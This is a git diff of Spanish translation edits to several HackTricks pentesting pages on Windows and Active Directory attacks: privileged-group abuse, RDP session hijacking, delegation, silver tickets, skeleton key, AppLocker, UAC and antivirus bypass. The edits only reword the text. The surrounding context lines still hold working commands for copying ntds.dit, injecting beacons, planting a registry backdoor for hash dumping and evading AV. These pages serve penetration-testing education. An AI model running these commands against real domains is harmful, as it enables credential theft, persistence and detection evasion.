-Un atacante podría explotar esto modificando la ACL del grupo **AdminSDHolder**, otorgando permisos completos a un usuario estándar. Esto le daría efectivamente a ese usuario control total sobre todos los grupos protegidos. Si los permisos de este usuario son alterados o eliminados, se restablecerían automáticamente dentro de una hora debido al diseño del sistema.
+Un atacante podría explotar esto modificando la ACL del grupo **AdminSDHolder**, otorgando permisos completos a un usuario estándar. Esto le daría efectivamente a ese usuario control total sobre todos los grupos protegidos. Si los permisos de este usuario se alteran o eliminan, se restablecerían automáticamente dentro de una hora debido al diseño del sistema.
 
 Los comandos para revisar los miembros y modificar permisos incluyen:
 ```powershell
@@ -54,7 +54,7 @@ Este comando revela que `Server Operators` tienen acceso completo, lo que permit
 
 ## Backup Operators
 
-La membresía en el grupo `Backup Operators` proporciona acceso al sistema de archivos de `DC01` debido a los privilegios `SeBackup` y `SeRestore`. Estos privilegios permiten la navegación por carpetas, la enumeración y la capacidad de copiar archivos, incluso sin permisos explícitos, utilizando la bandera `FILE_FLAG_BACKUP_SEMANTICS`. Es necesario utilizar scripts específicos para este proceso.
+La membresía en el grupo `Backup Operators` proporciona acceso al sistema de archivos `DC01` debido a los privilegios `SeBackup` y `SeRestore`. Estos privilegios permiten la navegación por carpetas, la enumeración y la capacidad de copiar archivos, incluso sin permisos explícitos, utilizando la bandera `FILE_FLAG_BACKUP_SEMANTICS`. Es necesario utilizar scripts específicos para este proceso.
 
 Para listar los miembros del grupo, ejecute:
 ```powershell
@@ -102,7 +102,7 @@ exit
 ```cmd
 Copy-FileSeBackupPrivilege E:\Windows\NTDS\ntds.dit C:\Tools\ntds.dit
 ```
-Alternativamente, utiliza `robocopy` para copiar archivos:
+Alternativamente, usa `robocopy` para copiar archivos:
 ```cmd
 robocopy /B F:\Windows\NTDS .\ntds ntds.dit
 ```
@@ -126,7 +126,7 @@ wbadmin get versions
 echo "Y" | wbadmin start recovery -version:<date-time> -itemtype:file -items:c:\windows\ntds\ntds.dit -recoverytarget:C:\ -notrestoreacl
 ```
 
-Para una demostración práctica, consulta [VIDEO DEMOSTRATIVO CON IPPSEC](https://www.youtube.com/watch?v=IfCysW0Od8w&t=2610s).
+Para una demostración práctica, consulta [DEMO VIDEO WITH IPPSEC](https://www.youtube.com/watch?v=IfCysW0Od8w&t=2610s).
 
 ## DnsAdmins
 
@@ -201,15 +201,15 @@ sc.exe start MozillaMaintenance
 ```
 Nota: La explotación de enlaces duros ha sido mitigada en las actualizaciones recientes de Windows.
 
-## Gestión de la Organización
+## Organización de la Gestión
 
-En entornos donde se despliega **Microsoft Exchange**, un grupo especial conocido como **Organización Management** tiene capacidades significativas. Este grupo tiene privilegios para **acceder a los buzones de todos los usuarios del dominio** y mantiene **control total sobre la Unidad Organizativa (OU) 'Microsoft Exchange Security Groups'**. Este control incluye el grupo **`Exchange Windows Permissions`**, que puede ser explotado para la escalación de privilegios.
+En entornos donde se despliega **Microsoft Exchange**, un grupo especial conocido como **Organización de Gestión** posee capacidades significativas. Este grupo tiene privilegios para **acceder a los buzones de todos los usuarios del dominio** y mantiene **control total sobre la Unidad Organizativa (OU) 'Grupos de Seguridad de Microsoft Exchange'**. Este control incluye el grupo **`Exchange Windows Permissions`**, que puede ser explotado para la escalación de privilegios.
 
 ### Explotación de Privilegios y Comandos
 
 #### Operadores de Impresión
 
-Los miembros del grupo **Print Operators** están dotados de varios privilegios, incluyendo el **`SeLoadDriverPrivilege`**, que les permite **iniciar sesión localmente en un Controlador de Dominio**, apagarlo y gestionar impresoras. Para explotar estos privilegios, especialmente si **`SeLoadDriverPrivilege`** no es visible en un contexto no elevado, es necesario eludir el Control de Cuentas de Usuario (UAC).
+Los miembros del grupo **Operadores de Impresión** están dotados de varios privilegios, incluyendo el **`SeLoadDriverPrivilege`**, que les permite **iniciar sesión localmente en un Controlador de Dominio**, apagarlo y gestionar impresoras. Para explotar estos privilegios, especialmente si **`SeLoadDriverPrivilege`** no es visible en un contexto no elevado, es necesario eludir el Control de Cuentas de Usuario (UAC).
 
 Para listar los miembros de este grupo, se utiliza el siguiente comando de PowerShell:
 ```powershell
@@ -233,11 +233,11 @@ Los miembros pueden acceder a PCs a través de **Windows Remote Management (WinR
 Get-NetGroupMember -Identity "Remote Management Users" -Recurse
 Get-NetLocalGroupMember -ComputerName <pc name> -GroupName "Remote Management Users"
 ```
-Para técnicas de explotación relacionadas con **WinRM**, se debe consultar la documentación específica.
+Para las técnicas de explotación relacionadas con **WinRM**, se debe consultar la documentación específica.
 
 #### Operadores de Servidor
 
-Este grupo tiene permisos para realizar varias configuraciones en Controladores de Dominio, incluyendo privilegios de respaldo y restauración, cambiar la hora del sistema y apagar el sistema. Para enumerar los miembros, el comando proporcionado es:
+Este grupo tiene permisos para realizar varias configuraciones en los Controladores de Dominio, incluyendo privilegios de copia de seguridad y restauración, cambio de hora del sistema y apagado del sistema. Para enumerar los miembros, el comando proporcionado es:
 ```powershell
 Get-NetGroupMember -Identity "Server Operators" -Recurse
 ```
diff --git a/src/windows-hardening/active-directory-methodology/rdp-sessions-abuse.md b/src/windows-hardening/active-directory-methodology/rdp-sessions-abuse.md
index 445efdb6c..c039a854f 100644
--- a/src/windows-hardening/active-directory-methodology/rdp-sessions-abuse.md
+++ b/src/windows-hardening/active-directory-methodology/rdp-sessions-abuse.md
@@ -30,13 +30,13 @@ PID   PPID  Name                         Arch  Session     User
 beacon> inject 4960 x64 tcp-local
 ## From that beacon you can just run powerview modules interacting with the external domain as that user
 ```
-Revisa **otras formas de robar sesiones con otras herramientas** [**en esta página.**](../../network-services-pentesting/pentesting-rdp.md#session-stealing)
+Check **otras formas de robar sesiones con otras herramientas** [**en esta página.**](../../network-services-pentesting/pentesting-rdp.md#session-stealing)
 
 ## RDPInception
 
-Si un usuario accede **vía RDP a una máquina** donde un **atacante** está **esperándolo**, el atacante podrá **inyectar un beacon en la sesión RDP del usuario** y si la **víctima montó su unidad** al acceder vía RDP, el **atacante podría acceder a ella**.
+Si un usuario accede a través de **RDP a una máquina** donde un **atacante** está **esperándolo**, el atacante podrá **inyectar un beacon en la sesión RDP del usuario** y si la **víctima montó su unidad** al acceder a través de RDP, el **atacante podría acceder a ella**.
 
-En este caso, podrías simplemente **comprometer** el **ordenador original** de la **víctima** escribiendo un **backdoor** en la **carpeta de inicio**.
+En este caso, podrías simplemente **comprometer** el **computador original** de la **víctima** escribiendo un **backdoor** en la **carpeta de inicio**.
 ```powershell
 # Wait til someone logs in:
 net logons
diff --git a/src/windows-hardening/active-directory-methodology/resource-based-constrained-delegation.md b/src/windows-hardening/active-directory-methodology/resource-based-constrained-delegation.md
index 6ff72a95b..f13028566 100644
--- a/src/windows-hardening/active-directory-methodology/resource-based-constrained-delegation.md
+++ b/src/windows-hardening/active-directory-methodology/resource-based-constrained-delegation.md
@@ -14,7 +14,7 @@ Otra diferencia importante de esta Delegación Constrain con respecto a las otra
 ### Nuevos Conceptos
 
 En la Delegación Constrain se mencionó que la **`TrustedToAuthForDelegation`** bandera dentro del valor _userAccountControl_ del usuario es necesaria para realizar un **S4U2Self.** Pero eso no es completamente cierto.\
-La realidad es que incluso sin ese valor, puedes realizar un **S4U2Self** contra cualquier usuario si eres un **servicio** (tienes un SPN), pero, si **tienes `TrustedToAuthForDelegation`** el TGS devuelto será **Forwardable** y si **no tienes** esa bandera el TGS devuelto **no será** **Forwardable**.
+La realidad es que incluso sin ese valor, puedes realizar un **S4U2Self** contra cualquier usuario si eres un **servicio** (tienes un SPN), pero, si **tienes `TrustedToAuthForDelegation`** el TGS devuelto será **Forwardable** y si **no tienes** esa bandera, el TGS devuelto **no será** **Forwardable**.
 
 Sin embargo, si el **TGS** utilizado en **S4U2Proxy** **NO es Forwardable**, intentar abusar de una **delegación Constrain básica** **no funcionará**. Pero si intentas explotar una **delegación Constrain basada en recursos, funcionará** (esto no es una vulnerabilidad, es una característica, aparentemente).
 
diff --git a/src/windows-hardening/active-directory-methodology/security-descriptors.md b/src/windows-hardening/active-directory-methodology/security-descriptors.md
index 81564d2b4..e7b6003b1 100644
--- a/src/windows-hardening/active-directory-methodology/security-descriptors.md
+++ b/src/windows-hardening/active-directory-methodology/security-descriptors.md
@@ -26,7 +26,7 @@ Set-RemotePSRemoting -UserName student1 -ComputerName <remotehost> -Remove #Remo
 ```
 ### Acceso remoto a hashes
 
-Accede al **registro** y **volcar hashes** creando una **puerta trasera de Reg usando** [**DAMP**](https://github.com/HarmJ0y/DAMP)**,** para que puedas en cualquier momento recuperar el **hash de la computadora**, el **SAM** y cualquier **credencial AD** en caché en la computadora. Así que, es muy útil otorgar este permiso a un **usuario regular contra una computadora de Controlador de Dominio**:
+Accede al **registro** y **volcar hashes** creando una **puerta trasera de Reg usando** [**DAMP**](https://github.com/HarmJ0y/DAMP)**,** para que puedas en cualquier momento recuperar el **hash de la computadora**, el **SAM** y cualquier **credencial AD** en caché en la computadora. Por lo tanto, es muy útil otorgar este permiso a un **usuario regular contra una computadora de Controlador de Dominio**:
 ```bash
 # allows for the remote retrieval of a system's machine and local account hashes, as well as its domain cached credentials.
 Add-RemoteRegBackdoor -ComputerName <remotehost> -Trustee student1 -Verbose
diff --git a/src/windows-hardening/active-directory-methodology/silver-ticket.md b/src/windows-hardening/active-directory-methodology/silver-ticket.md
index 1ebbaa9db..3d76638df 100644
--- a/src/windows-hardening/active-directory-methodology/silver-ticket.md
+++ b/src/windows-hardening/active-directory-methodology/silver-ticket.md
@@ -47,13 +47,13 @@ Usando **Rubeus** puedes **pedir todos** estos tickets usando el parámetro:
 
 - `/altservice:host,RPCSS,http,wsman,cifs,ldap,krbtgt,winrm`
 
-### IDs de Evento de Silver Tickets
+### IDs de Evento de Tickets Silver
 
 - 4624: Inicio de Sesión de Cuenta
 - 4634: Cierre de Sesión de Cuenta
 - 4672: Inicio de Sesión de Administrador
 
-## Abusando de los tickets de Servicio
+## Abusando de Tickets de Servicio
 
 En los siguientes ejemplos imaginemos que el ticket se recupera suplantando la cuenta de administrador.
 
diff --git a/src/windows-hardening/active-directory-methodology/skeleton-key.md b/src/windows-hardening/active-directory-methodology/skeleton-key.md
index a07042f2c..c4d5ea047 100644
--- a/src/windows-hardening/active-directory-methodology/skeleton-key.md
+++ b/src/windows-hardening/active-directory-methodology/skeleton-key.md
@@ -4,7 +4,7 @@
 
 ## Ataque de Skeleton Key
 
-El **ataque de Skeleton Key** es una técnica sofisticada que permite a los atacantes **eludir la autenticación de Active Directory** al **inyectar una contraseña maestra** en el controlador de dominio. Esto permite al atacante **autenticarse como cualquier usuario** sin su contraseña, otorgándoles efectivamente **acceso sin restricciones** al dominio.
+El **ataque de Skeleton Key** es una técnica sofisticada que permite a los atacantes **eludir la autenticación de Active Directory** al **inyectar una contraseña maestra** en el controlador de dominio. Esto permite al atacante **autenticarse como cualquier usuario** sin su contraseña, otorgándoles **acceso sin restricciones** al dominio.
 
 Se puede realizar utilizando [Mimikatz](https://github.com/gentilkiwi/mimikatz). Para llevar a cabo este ataque, **se requieren derechos de Administrador de Dominio**, y el atacante debe dirigirse a cada controlador de dominio para asegurar una violación completa. Sin embargo, el efecto del ataque es temporal, ya que **reiniciar el controlador de dominio erradica el malware**, lo que requiere una reimplementación para un acceso sostenido.
 
diff --git a/src/windows-hardening/active-directory-methodology/unconstrained-delegation.md b/src/windows-hardening/active-directory-methodology/unconstrained-delegation.md
index 5829562e9..daae8f556 100644
--- a/src/windows-hardening/active-directory-methodology/unconstrained-delegation.md
+++ b/src/windows-hardening/active-directory-methodology/unconstrained-delegation.md
@@ -29,7 +29,7 @@ Más info: [https://www.harmj0y.net/blog/activedirectory/s4u2pwnage/](https://ww
 
 ### **Forzar Autenticación**
 
-Si un atacante puede **comprometer una computadora permitida para "Delegación No Restringida"**, podría **engañar** a un **servidor de impresión** para **iniciar sesión automáticamente** contra él **guardando un TGT** en la memoria del servidor.\
+Si un atacante puede **comprometer una computadora permitida para "Delegación No Restringida"**, podría **engañar** a un **servidor de impresión** para que **inicie sesión automáticamente** contra él **guardando un TGT** en la memoria del servidor.\
 Luego, el atacante podría realizar un **ataque Pass the Ticket para impersonar** la cuenta de computadora del usuario del servidor de impresión.
 
 Para hacer que un servidor de impresión inicie sesión contra cualquier máquina, puedes usar [**SpoolSample**](https://github.com/leechristensen/SpoolSample):
diff --git a/src/windows-hardening/authentication-credentials-uac-and-efs.md b/src/windows-hardening/authentication-credentials-uac-and-efs.md
index c9948394d..3b0a9ffa1 100644
--- a/src/windows-hardening/authentication-credentials-uac-and-efs.md
+++ b/src/windows-hardening/authentication-credentials-uac-and-efs.md
@@ -9,7 +9,7 @@ Una lista blanca de aplicaciones es una lista de aplicaciones de software o ejec
 [AppLocker](https://docs.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/applocker/what-is-applocker) es la **solución de lista blanca de aplicaciones** de Microsoft y da a los administradores del sistema control sobre **qué aplicaciones y archivos pueden ejecutar los usuarios**. Proporciona **control granular** sobre ejecutables, scripts, archivos de instalación de Windows, DLLs, aplicaciones empaquetadas y instaladores de aplicaciones empaquetadas.\
 Es común que las organizaciones **bloqueen cmd.exe y PowerShell.exe** y el acceso de escritura a ciertos directorios, **pero todo esto se puede eludir**.
 
-### Verificación
+### Verificar
 
 Verifique qué archivos/extensiones están en la lista negra/lista blanca:
 ```powershell
@@ -160,7 +160,7 @@ Además, consulta esta [página web](https://cube0x0.github.io/Relaying-for-gMSA
 
 ## LAPS
 
-La **Solución de Contraseña de Administrador Local (LAPS)**, disponible para descargar desde [Microsoft](https://www.microsoft.com/en-us/download/details.aspx?id=46899), permite la gestión de contraseñas de Administrador local. Estas contraseñas, que son **aleatorias**, únicas y **cambiadas regularmente**, se almacenan de forma central en Active Directory. El acceso a estas contraseñas está restringido a través de ACLs a usuarios autorizados. Con los permisos suficientes otorgados, se proporciona la capacidad de leer contraseñas de administrador local.
+La **Solución de Contraseña de Administrador Local (LAPS)**, disponible para descargar desde [Microsoft](https://www.microsoft.com/en-us/download/details.aspx?id=46899), permite la gestión de contraseñas de Administrador local. Estas contraseñas, que son **aleatorias**, únicas y **cambiadas regularmente**, se almacenan de forma central en Active Directory. El acceso a estas contraseñas está restringido a través de ACLs a usuarios autorizados. Con los permisos suficientes otorgados, se proporciona la capacidad de leer las contraseñas de administrador local.
 
 {{#ref}}
 active-directory-methodology/laps.md
@@ -180,10 +180,10 @@ $ExecutionContext.SessionState.LanguageMode
 #Easy bypass
 Powershell -version 2
 ```
-En Windows actual, esa elusión no funcionará, pero puedes usar [**PSByPassCLM**](https://github.com/padovah4ck/PSByPassCLM).\
+En Windows actual, ese bypass no funcionará, pero puedes usar [**PSByPassCLM**](https://github.com/padovah4ck/PSByPassCLM).\
 **Para compilarlo, es posible que necesites** **_Agregar una Referencia_** -> _Examinar_ -> _Examinar_ -> agregar `C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0\31bf3856ad364e35\System.Management.Automation.dll` y **cambiar el proyecto a .Net4.5**.
 
-#### Elusión directa:
+#### Bypass directo:
 ```bash
 C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe /logfile= /LogToConsole=true /U c:\temp\psby.exe
 ```
diff --git a/src/windows-hardening/authentication-credentials-uac-and-efs/README.md b/src/windows-hardening/authentication-credentials-uac-and-efs/README.md
index b0b511733..d4a7e9f21 100644
--- a/src/windows-hardening/authentication-credentials-uac-and-efs/README.md
+++ b/src/windows-hardening/authentication-credentials-uac-and-efs/README.md
@@ -20,7 +20,7 @@ Get-AppLockerPolicy -Effective | select -ExpandProperty RuleCollections
 $a = Get-ApplockerPolicy -effective
 $a.rulecollections
 ```
-Esta ruta del registro contiene las configuraciones y políticas aplicadas por AppLocker, proporcionando una forma de revisar el conjunto actual de reglas impuestas en el sistema:
+Esta ruta del registro contiene las configuraciones y políticas aplicadas por AppLocker, proporcionando una forma de revisar el conjunto actual de reglas aplicadas en el sistema:
 
 - `HKLM\Software\Policies\Microsoft\Windows\SrpV2`
 
@@ -34,9 +34,9 @@ C:\Windows\Tasks
 C:\windows\tracing
 ```
 - Los binarios **comúnmente confiables** [**"LOLBAS's"**](https://lolbas-project.github.io/) también pueden ser útiles para eludir AppLocker.
-- **Reglas mal escritas también podrían ser eludidas**
+- **Las reglas mal escritas también podrían ser eludidas**
 - Por ejemplo, **`<FilePathCondition Path="%OSDRIVE%*\allowed*"/>`**, puedes crear una **carpeta llamada `allowed`** en cualquier lugar y será permitida.
-- Las organizaciones también suelen centrarse en **bloquear el ejecutable `%System32%\WindowsPowerShell\v1.0\powershell.exe`**, pero se olvidan de las **otras** [**ubicaciones del ejecutable de PowerShell**](https://www.powershelladmin.com/wiki/PowerShell_Executables_File_System_Locations) como `%SystemRoot%\SysWOW64\WindowsPowerShell\v1.0\powershell.exe` o `PowerShell_ISE.exe`.
+- Las organizaciones también suelen centrarse en **bloquear el ejecutable `%System32%\WindowsPowerShell\v1.0\powershell.exe`**, pero se olvidan de las **otras** [**ubicaciones ejecutables de PowerShell**](https://www.powershelladmin.com/wiki/PowerShell_Executables_File_System_Locations) como `%SystemRoot%\SysWOW64\WindowsPowerShell\v1.0\powershell.exe` o `PowerShell_ISE.exe`.
 - **La aplicación de DLL rara vez está habilitada** debido a la carga adicional que puede poner en un sistema y la cantidad de pruebas requeridas para asegurar que nada se rompa. Así que usar **DLLs como puertas traseras ayudará a eludir AppLocker**.
 - Puedes usar [**ReflectivePick**](https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerPick) o [**SharpPick**](https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerPick) para **ejecutar código de Powershell** en cualquier proceso y eludir AppLocker. Para más información consulta: [https://hunter2.gitbook.io/darthsidious/defense-evasion/bypassing-applocker-and-powershell-contstrained-language-mode](https://hunter2.gitbook.io/darthsidious/defense-evasion/bypassing-applocker-and-powershell-contstrained-language-mode).
 
@@ -119,7 +119,7 @@ Este método de encriptación permite **acceso transparente** a archivos encript
 - La desencriptación automática ocurre bajo condiciones específicas, como copiar a FAT32 o transmisión por red.
 - Los archivos encriptados son accesibles para el propietario sin pasos adicionales.
 
-### Verificar información de EFS
+### Ver información de EFS
 
 Verifica si un **usuario** ha **utilizado** este **servicio** comprobando si existe esta ruta: `C:\users\<username>\appdata\roaming\Microsoft\Protect`
 
@@ -146,7 +146,7 @@ Microsoft desarrolló **Group Managed Service Accounts (gMSA)** para simplificar
 - **Capacidad de Tareas Programadas**: a diferencia de las cuentas de servicio administradas, los gMSA soportan la ejecución de tareas programadas.
 - **Gestión Simplificada de SPN**: el sistema actualiza automáticamente el Nombre Principal del Servicio (SPN) cuando hay cambios en los detalles de sAMaccount de la computadora o en el nombre DNS, simplificando la gestión de SPN.
 
-Las contraseñas para gMSA se almacenan en la propiedad LDAP _**msDS-ManagedPassword**_ y se restablecen automáticamente cada 30 días por los Controladores de Dominio (DC). Esta contraseña, un blob de datos encriptados conocido como [MSDS-MANAGEDPASSWORD_BLOB](https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-adts/a9019740-3d73-46ef-a9ae-3ea8eb86ac2e), solo puede ser recuperada por administradores autorizados y los servidores en los que están instalados los gMSA, asegurando un entorno seguro. Para acceder a esta información, se requiere una conexión segura como LDAPS, o la conexión debe ser autenticada con 'Sealing & Secure'.
+Las contraseñas para los gMSA se almacenan en la propiedad LDAP _**msDS-ManagedPassword**_ y se restablecen automáticamente cada 30 días por los Controladores de Dominio (DCs). Esta contraseña, un blob de datos encriptados conocido como [MSDS-MANAGEDPASSWORD_BLOB](https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-adts/a9019740-3d73-46ef-a9ae-3ea8eb86ac2e), solo puede ser recuperada por administradores autorizados y los servidores en los que están instalados los gMSA, asegurando un entorno seguro. Para acceder a esta información, se requiere una conexión segura como LDAPS, o la conexión debe ser autenticada con 'Sealing & Secure'.
 
 ![https://cube0x0.github.io/Relaying-for-gMSA/](../../images/asd1.png)
 
@@ -168,7 +168,7 @@ La **Solución de Contraseña de Administrador Local (LAPS)**, disponible para d
 
 ## Modo de Lenguaje Restringido de PowerShell
 
-PowerShell [**Modo de Lenguaje Restringido**](https://devblogs.microsoft.com/powershell/powershell-constrained-language-mode/) **bloquea muchas de las características** necesarias para usar PowerShell de manera efectiva, como bloquear objetos COM, permitiendo solo tipos .NET aprobados, flujos de trabajo basados en XAML, clases de PowerShell y más.
+PowerShell [**Modo de Lenguaje Restringido**](https://devblogs.microsoft.com/powershell/powershell-constrained-language-mode/) **bloquea muchas de las características** necesarias para usar PowerShell de manera efectiva, como bloquear objetos COM, permitiendo solo tipos .NET aprobados, flujos de trabajo basados en XAML, clases de PowerShell, y más.
 
 ### **Verificar**
 ```powershell
diff --git a/src/windows-hardening/authentication-credentials-uac-and-efs/uac-user-account-control.md b/src/windows-hardening/authentication-credentials-uac-and-efs/uac-user-account-control.md
index bd4565a14..fd7b41340 100644
--- a/src/windows-hardening/authentication-credentials-uac-and-efs/uac-user-account-control.md
+++ b/src/windows-hardening/authentication-credentials-uac-and-efs/uac-user-account-control.md
@@ -4,7 +4,7 @@
 
 ## UAC
 
-[Control de Cuentas de Usuario (UAC)](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/how-user-account-control-works) es una función que permite un **mensaje de consentimiento para actividades elevadas**. Las aplicaciones tienen diferentes niveles de `integridad`, y un programa con un **alto nivel** puede realizar tareas que **podrían comprometer potencialmente el sistema**. Cuando UAC está habilitado, las aplicaciones y tareas siempre **se ejecutan bajo el contexto de seguridad de una cuenta no administrativa** a menos que un administrador autorice explícitamente a estas aplicaciones/tareas a tener acceso de nivel administrativo al sistema para ejecutarse. Es una función de conveniencia que protege a los administradores de cambios no intencionados, pero no se considera un límite de seguridad.
+[Control de Cuentas de Usuario (UAC)](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/how-user-account-control-works) es una función que permite un **mensaje de consentimiento para actividades elevadas**. Las aplicaciones tienen diferentes niveles de `integridad`, y un programa con un **alto nivel** puede realizar tareas que **podrían comprometer potencialmente el sistema**. Cuando UAC está habilitado, las aplicaciones y tareas siempre **se ejecutan bajo el contexto de seguridad de una cuenta no administrativa** a menos que un administrador autorice explícitamente a estas aplicaciones/tareas para tener acceso a nivel de administrador al sistema para ejecutarse. Es una función de conveniencia que protege a los administradores de cambios no intencionados, pero no se considera un límite de seguridad.
 
 Para más información sobre los niveles de integridad:
 
@@ -14,7 +14,7 @@ Para más información sobre los niveles de integridad:
 
 Cuando UAC está en su lugar, a un usuario administrador se le otorgan 2 tokens: una clave de usuario estándar, para realizar acciones regulares como nivel regular, y una con privilegios de administrador.
 
-Esta [página](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/how-user-account-control-works) discute cómo funciona UAC en gran profundidad e incluye el proceso de inicio de sesión, la experiencia del usuario y la arquitectura de UAC. Los administradores pueden usar políticas de seguridad para configurar cómo funciona UAC específico para su organización a nivel local (usando secpol.msc), o configurado y distribuido a través de Objetos de Política de Grupo (GPO) en un entorno de dominio de Active Directory. Los diversos ajustes se discuten en detalle [aquí](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-security-policy-settings). Hay 10 configuraciones de Política de Grupo que se pueden establecer para UAC. La siguiente tabla proporciona detalles adicionales:
+Esta [página](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/how-user-account-control-works) discute cómo funciona UAC en gran profundidad e incluye el proceso de inicio de sesión, la experiencia del usuario y la arquitectura de UAC. Los administradores pueden usar políticas de seguridad para configurar cómo funciona UAC específico para su organización a nivel local (usando secpol.msc), o configurado y distribuido a través de Objetos de Política de Grupo (GPO) en un entorno de dominio de Active Directory. Las diversas configuraciones se discuten en detalle [aquí](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-security-policy-settings). Hay 10 configuraciones de Política de Grupo que se pueden establecer para UAC. La siguiente tabla proporciona detalles adicionales:
 
 | Configuración de Política de Grupo                                                                                                                                                                                                                                                                                                                                                           | Clave del Registro          | Configuración Predeterminada                                   |
 | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ | --------------------------- | -------------------------------------------------------------- |
@@ -33,7 +33,7 @@ Esta [página](https://docs.microsoft.com/en-us/windows/security/identity-protec
 
 Algunos programas son **autoelevados automáticamente** si el **usuario pertenece** al **grupo de administradores**. Estos binarios tienen dentro de sus _**Manifiestos**_ la opción _**autoElevate**_ con valor _**True**_. El binario también debe estar **firmado por Microsoft**.
 
-Luego, para **eludir** el **UAC** (elevar de **nivel** de integridad **medio** a **alto**) algunos atacantes utilizan este tipo de binarios para **ejecutar código arbitrario** porque se ejecutará desde un **proceso de alta integridad**.
+Luego, para **eludir** el **UAC** (elevar de **nivel de integridad medio** a **alto**) algunos atacantes utilizan este tipo de binarios para **ejecutar código arbitrario** porque se ejecutará desde un **proceso de alta integridad**.
 
 Puedes **verificar** el _**Manifiesto**_ de un binario usando la herramienta _**sigcheck.exe**_ de Sysinternals. Y puedes **ver** el **nivel de integridad** de los procesos usando _Process Explorer_ o _Process Monitor_ (de Sysinternals).
 
@@ -46,7 +46,7 @@ REG QUERY HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\
 HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System
 EnableLUA    REG_DWORD    0x1
 ```
-Si es **`1`**, entonces UAC está **activado**, si es **`0`** o **no existe**, entonces UAC está **inactivo**.
+Si es **`1`** entonces UAC está **activado**, si es **`0`** o **no existe**, entonces UAC está **inactivo**.
 
 Luego, verifica **qué nivel** está configurado:
 ```
@@ -150,7 +150,7 @@ Major  Minor  Build  Revision
 -----  -----  -----  --------
 10     0      14393  0
 ```
-También, usando [esta](https://en.wikipedia.org/wiki/Windows_10_version_history) página obtienes la versión de Windows `1607` de las versiones de compilación.
+También, usando [this](https://en.wikipedia.org/wiki/Windows_10_version_history) página obtienes la versión de Windows `1607` de las versiones de compilación.
 
 #### Más bypass de UAC
 
@@ -177,7 +177,7 @@ Si no te importa ser ruidoso, siempre podrías **ejecutar algo como** [**https:/
 Si echas un vistazo a **UACME** notarás que **la mayoría de los bypass de UAC abusan de una vulnerabilidad de Dll Hijacking** (principalmente escribiendo el dll malicioso en _C:\Windows\System32_). [Lee esto para aprender cómo encontrar una vulnerabilidad de Dll Hijacking](../windows-local-privilege-escalation/dll-hijacking/).
 
 1. Encuentra un binario que **autoelevate** (verifica que cuando se ejecuta, se ejecute en un nivel de integridad alto).
-2. Con procmon encuentra eventos "**NOMBRE NO ENCONTRADO**" que puedan ser vulnerables a **DLL Hijacking**.
+2. Con procmon encuentra eventos "**NAME NOT FOUND**" que pueden ser vulnerables a **DLL Hijacking**.
 3. Probablemente necesitarás **escribir** el DLL dentro de algunas **rutas protegidas** (como C:\Windows\System32) donde no tienes permisos de escritura. Puedes eludir esto usando:
    1. **wusa.exe**: Windows 7, 8 y 8.1. Permite extraer el contenido de un archivo CAB dentro de rutas protegidas (porque esta herramienta se ejecuta desde un nivel de integridad alto).
    2. **IFileOperation**: Windows 10.
diff --git a/src/windows-hardening/av-bypass.md b/src/windows-hardening/av-bypass.md
index 25ca5b18c..60336dfe5 100644
--- a/src/windows-hardening/av-bypass.md
+++ b/src/windows-hardening/av-bypass.md
@@ -2,6 +2,7 @@
 
 {{#include ../banners/hacktricks-training.md}}
 
+
 **¡Esta página fue escrita por** [**@m2rc_p**](https://twitter.com/m2rc_p)**!**
 
 ## **Metodología de Evasión de AV**
@@ -77,11 +78,11 @@ C:\Users\user\Desktop\Siofra64.exe --mode file-scan --enum-dependency --dll-hija
 ```
 Este comando mostrará la lista de programas susceptibles a la suplantación de DLL dentro de "C:\Program Files\\" y los archivos DLL que intentan cargar.
 
-Te recomiendo encarecidamente que **explores programas susceptibles a la suplantación de DLL/Sideloadable tú mismo**, esta técnica es bastante sigilosa si se hace correctamente, pero si usas programas Sideloadable de conocimiento público, podrías ser atrapado fácilmente.
+Te recomiendo encarecidamente que **explores programas susceptibles a la suplantación de DLL/que se pueden cargar lateralmente tú mismo**, esta técnica es bastante sigilosa si se hace correctamente, pero si usas programas públicamente conocidos que se pueden cargar lateralmente, podrías ser atrapado fácilmente.
 
-Simplemente colocar una DLL maliciosa con el nombre que un programa espera cargar, no cargará tu payload, ya que el programa espera algunas funciones específicas dentro de esa DLL. Para solucionar este problema, utilizaremos otra técnica llamada **DLL Proxying/Forwarding**.
+Simplemente colocar una DLL maliciosa con el nombre que un programa espera cargar, no cargará tu carga útil, ya que el programa espera algunas funciones específicas dentro de esa DLL. Para solucionar este problema, utilizaremos otra técnica llamada **Proxying/Forwarding de DLL**.
 
-**DLL Proxying** reenvía las llamadas que un programa hace desde la DLL proxy (y maliciosa) a la DLL original, preservando así la funcionalidad del programa y pudiendo manejar la ejecución de tu payload.
+**Proxying de DLL** reenvía las llamadas que un programa hace desde la DLL proxy (y maliciosa) a la DLL original, preservando así la funcionalidad del programa y pudiendo manejar la ejecución de tu carga útil.
 
 Estaré utilizando el proyecto [SharpDLLProxy](https://github.com/Flangvik/SharpDllProxy) de [@flangvik](https://twitter.com/Flangvik/)
 
@@ -102,7 +103,7 @@ Estos son los resultados:
 
 <figure><img src="../images/dll_sideloading_demo.gif" alt=""><figcaption></figcaption></figure>
 
-¡Tanto nuestro shellcode (codificado con [SGN](https://github.com/EgeBalci/sgn)) como el proxy DLL tienen una tasa de detección de 0/26 en [antiscan.me](https://antiscan.me)! Yo llamaría eso un éxito.
